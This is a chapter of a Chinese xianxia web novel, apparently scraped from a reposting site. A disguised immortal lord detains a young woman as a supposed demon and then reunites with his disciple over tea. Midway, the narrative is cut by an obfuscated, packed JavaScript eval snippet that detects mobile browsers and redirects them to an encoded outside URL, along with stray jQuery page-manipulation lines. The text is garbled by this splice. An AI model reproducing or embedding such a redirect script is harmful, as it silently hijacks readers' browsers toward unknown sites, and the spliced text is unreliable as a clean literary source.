这还真是出乎意料。
洛黎、仄黎,变换一个字就能变成另一个人。
弟子们眼里充满敬畏,趾高气昂的毛病不用批评,长老一出现就给治好了。
他们没能注意到小姑娘眼中极其复杂的情绪。
“长老,您不是在水牢吗?”刚才讽刺的那位,局促地搓手,“清点魔族的事交给我们就好,您犯不着来这种腌臜地。”
木质囚笼里,大多数被抓的人在运输过程中,头发结成块状,一缕一缕拧成股结,衣服也破破烂烂,还散发着恶臭味。
他们是可能是魔族的囚犯,待遇却像已经屠戮了一座城,杀过一门修士的恶人,与修士衣着形成“华丽”对比。
外门弟子尽管朴素,可衣裳至少干净。
仄黎闻言朝“魔族”看去。
这条街无非是条长路,青石板砖由短及长铺陈。所以横看起来,并不宽,却被形形色色的“魔族”挤得水泄不通。他温和笑着,说:“没事,先把车上这些人镣铐摘下。”
众人听话,忙不迭松开镣铐,绳索,沈明珠手腕也跟着一松。
紧接着,石阶上那人又转头对弟子嘱咐几句,他面朝弟子,眼神却是飘向底下衣着干净的姑娘。
书童点点头,走进府内。但身旁离得近的弟子脸色犹豫:“这……长老,缉魔司虽然是受您管辖,您权利大能左右这些魔族的去处,但都放走不符合规矩吧,万一门主问起来……?”
“问起来我顶着。”仄黎面不改色,抬脚走下石阶,“灵石也并非万能。”
“它是能检验出魔气,沾染魔气的物体都无所遁形,但相反,有魔气并不代表是魔族,这些孩子只是误入魔族邪气之地,不小心沾上,让他们早点回家去吧。”
弟子羞涩地低头:“是。”
长老肯定比灵石准确,他恨不得给刚才说话的自己一巴掌。
居然还敢质疑长老。
“你们下去吧,这地方有我就行。”
弟子连忙招呼众人离开。
不知不觉间,仄黎已经站在某人面前,他端起一副好好公子样,开口:“姑娘,不好意思。”
前奏有点长,如果在褚仙岛,按照神君脾性,道歉之后就是………
沈明珠依然有点怕神君,毕竟实力差距摆在那里。她心想别人都走了,怎么着自己也能算个误入吧。
谁料,他话锋一转:“跟我走一趟吧。”
“走哪儿去?”这话措不及防,她有点茫然。
仄黎说:“缉魔司啊。”
作为魔族,进缉魔司一趟。
所有人都能作为误入,转笔大钱就能走,尽管他们本身就没问题,就沈明珠被留下。
说实话,捆魔绳不可能困住妖,也就是说挣脱这东西简单,她现在是真想挣脱就掐诀跑。
神君这葫芦里再卖什么药?听剑门弟子语气,就去就是死啊。
更何况,你怎么变成长老的?
她当然不敢挣脱,毕竟挣脱过后的后果却是巨大且残酷的。
老二带着小队剩余四个人姗姗来迟,老远就看见老大站在门口,也不说话,就站着。还没等他开口想问老大为什么不进去,便看见洛黎长老也站在身旁。
当即屁股缝夹紧,大气也不敢呼一口。
急刹车把握的非常好,但抵不住听到惊世骇俗的话。
沈明珠沉默几秒抬起头,轻轻捏动手腕,问道:“仙长,你确定我是魔族吗?”
仄黎:“嗯。”
沈明珠:“……”
如果眼神能变成刀,仄黎应该会被捅成筛子。
她盯着神君两秒,又认真问道:“不是说有误入情况吗?你看不出来我不是魔族吗?”
“要是诬陷,仙长应该也会觉得愧疚吧。”她继续说。
仄黎并不意外小姑娘生气,语气依然平和:“当然看得出来。”
紧接着,下一句却压低嗓音道:“但我不愧疚,都放了门主肯定会起疑,问起来,我怎么办?”
“???”
仄黎:“牺牲小我,拯救大我,更何况你还欠我一次人情呢。”
神君就能睁眼说瞎话吗?
今天是今时不同往日,以前是在褚仙岛,没有法力,说白了就是凡人,跟屠杀逃亡差不多的情形,稍微一动手,肯定是找死。
但这里可是人间界,除去自己有法力这件事外,修士也不敢在大街上公然使用仙法,所以沈明珠并不是很怕仄黎神君。
“道德底线呢?”沈明珠忍了又忍,一刻都忍不下去了,粗话张嘴就来:“我靠,真不要脸。”
她说完整句话,都没意识到自己语言过激,会造成怎样的影响。
老二刹车的脚差点扭到,惊得他想尖叫。
我靠,我靠,我靠。
小姑娘,你绝了。
老大作为长老忠实狗腿子,怎么能让魔族侮辱,怒斥:“闭嘴,你个杀人如麻的魔族怎么敢骂我们长老,你才是最不要脸的东西。”
说着,他用半吊子掐诀手法,还给小姑娘打上禁言诀。
“长老,禁言诀,你放心,她绝对不会说半个字。”老大心说,顺手的事,不用表扬。
结果听见仄黎夸赞:“做得好。”
像是生吃几百份大补丸,身强力壮,能马上殴打十个魔族,就连看沈明珠的眼神都变得狠厉。
沈明珠无语了。
仄黎也不动声色,将捆魔绳手链套在沈明珠手腕上。
不大不小刚刚好,像是早有准备一样。
寻常捆魔绳并没有禁法力效果,但神君亲手制作可不一样。
又搞我一次。
沈明珠:“……”
老二这边终于找到插嘴机会,立刻直言:“老大,西门那边顶不住了,要支援。”
“废物一堆!”老大回过头骂了一句,又兴高采烈朝仄黎拱手道:“洛黎长老,那弟子就先告退,西门那边还等着弟子查验。”
“去吧。”
一声去吧,老二也跟着做揖,两个人齐齐离开。
走得倒干脆。
徒留五人一仙面面相觑。
慢赶来的众人都有点怯怯的,听到修士喊那人长老,全程不敢抬头。
他们怕仙。
这是人对任何自己没有的东西会充斥的情绪。
惧怕或者喜悦,又或者说敬畏。
大家默认有名望的修士性格冷冽,对待魔族从不心慈手软。
而作为同党,自然也不会放过。不到万不得已,绝对不要挑战仙长权威。
“喂,谢几度,你这次千万稳住好吗?别作死。”邬鸾额头冒冷汗,低声提醒。
奈何作死作太早,没刹住脚步,从刚开始谢几度注意力就没放在害怕这件事上,他实在无所谓,跟长老对视数眼,丝毫不惧,还有闲心观察沈明珠。
仙子也就算了,人家有实力,谢几度什么情况?
周庆喜这时也连伤春悲秋都忘了,手抖成蝴蝶翅膀,也要拽住谢几度袖袍。
“你低头啊!想死吗姓谢的。”
听听这语气,谢哥也不喊,没点想尊重的意思。
是真怕死。
谢几度叹了口气,把某人爪子扒拉下,生怕他把自己衣服扯烂了,朝意欢仙子指过去道:“安了,他本来也没打算对我们动手啊,那个人,才是他真正想要的。”
面前这个人只是给自己换了名字。
样貌、服饰,包括行为,全都是神君本人。
所以沈明珠能迅速瞧出是仄黎,冯意欢自然也能看出来。
毕竟,两个人关系匪浅。
她对仄黎有万般不解,大多数疑问和沈明珠类似。
却只是紧紧盯着他看了一会儿,最终丢一下句:“师父。”
众人猛地抬起头。
油锅里突然溅进来一滴热油,炸开了锅。
“师,师父?”周庆喜目光呆滞地重复。
乌鸾也不敢置信。
上仙的师父,什么情况?
他匆匆瞥过那站如云鹤的男人,心里一阵激荡。
直到谪仙般的人物眼神也瞥过来,风光霁月,轻声回应:“我在。”
“意欢,你来迟了。”
.
缉魔司府内,一共分为正殿,偏殿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514065|186211||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两处居所。
正殿是修着好看,掩人耳目,没什么实际性用处,将牢狱置于底下。偏殿乃寻常弟子居住场所,仄黎专门划分一间房屋供自己独居。
虽说说沈明珠是魔族,口头上尽兴是为了告知剑门弟子,魔族被带入府内。
实际上他也没把小姑娘带到牢狱,反而带着众人来到偏殿。
屋内,仄黎随手掐出跟自己和众人相似的人偶,设下禁令,让他们前往牢狱中。
他在刚进门就布下结界,解开小姑娘禁言诀。
其他人亦步亦趋跟随,邬鸾被木偶术迷得找不着北,连声哇道,此刻终于明白周庆喜究竟学了谁。
人偶不仅模样和他们相似,衣着、举止行为既不违和也不僵硬,反而透露出自然,倒还像真的。
那些繁杂的花纹,挨个拓印在身上。
他们像是活了一样,眼珠子点睛,名为仄黎的人偶对本人指令点点头。
“这木偶跟我们也太像了吧。”邬鸾连声惊叹,黎都最有名的偶师也做不出这样的活物。
周庆喜眼巴巴看着木偶背影,附和:“就跟真的一样,仙长,您的偶人可以说话吗?”
“当然、不可以。”仄黎故意停顿。
接到指令的“众人”鱼贯而出,装模作样走出门外。
因为仙法制成,灵活程度很大,倘若有人想用人偶代替真人,说不准就连最亲近的人也认不出。
听到仙长答复,邬鸾不禁垂头丧气。
但这也无可厚非,毕竟也不是真人,而是偶。
“不过,据说黎都有人能做出能说话的人偶,你们闲来无事可以找找看。”
仄黎掠过众人。
转身就朝桌边走去,他衣袂翩然,一件长老服对比他原本的羽衣再普通不过,但看起来却像是遗世独立的谪仙。
五杯清茶摆在桌前,仄黎衣袍翻转,手腕轻抬,示意众人落座。然后浅绿色的眼珠一动,目光落在冯意欢身上。
“怎么不叫师父,意欢,许久不见,你跟我倒是生分许多。”
意欢仙子伸出素手,刚把杯沿握住浅尝一口,评价:“毕竟有三百多年,你要是不打扰我睡觉,说不准我还能再安眠一阵子。还有,你泡的不好喝,手艺退步了。”
仄黎不觉得抱歉:“回仙府再给你泡,这地方茶品一般。”
这可不是尊师重道的氛围,众人低着头喝茶,眼神却悄悄瞟。
理智告诉他们不能看,好奇又促使着他们作死。
冯意欢放下茶杯:“嘴硬。”
仄黎面不改色端起茶水,细细品味:“叛逆。”
弥豆兰草搭配红茶浸泡出的茶水,香气四溢,回味悠长。
整间屋子弥散着这股清香,这手艺还能挑出毛病吗?
一时间众人听得云里雾里,不知道他们在打什么哑谜,更不敢胡乱插话。
沈明珠刚坐下来就挂着脸,尽管禁言诀早已解开,却还是保持不说话的冷脸状态。
“生气了?”
谢几度离她近。
这人说话斯斯文文,不急着喝茶水,反而兴致盎然的找她说话。
两人在桌子底下,能感觉到对方细微动作,隔着布料也能感受到对方体温。
沈明珠没敢把腿脚抻直,怕不小心碰到对方。
她正好将茶杯拉近,就听见谢几度低声说道。
“没有。”
口是心非。
谢几度瞥了她一眼,落在手腕上不突出的捆魔绳:“这东西比之前那个有用?”
沈明珠知道他在说什么:“嗯,不过我不开心的原因不是这个。”
等等。
话吐出来,收回已经来不及,那个想知道的人也已经听到了。
不知道为什么,她不太愿意让对方知道自己心情差。说不上丢脸,也不是难为情。
就是一种与生俱来的感觉,好像曾经有某个瞬间,她亲眼注视着某个人干了某件事,心情尤其糟糕。
谢几度乌沉沉的眸子看了她一会儿,也不知道触碰到那根神经,他突然打断仄黎的话:“仙长,请问偏殿有小厨房吗?我肚子有点饿。”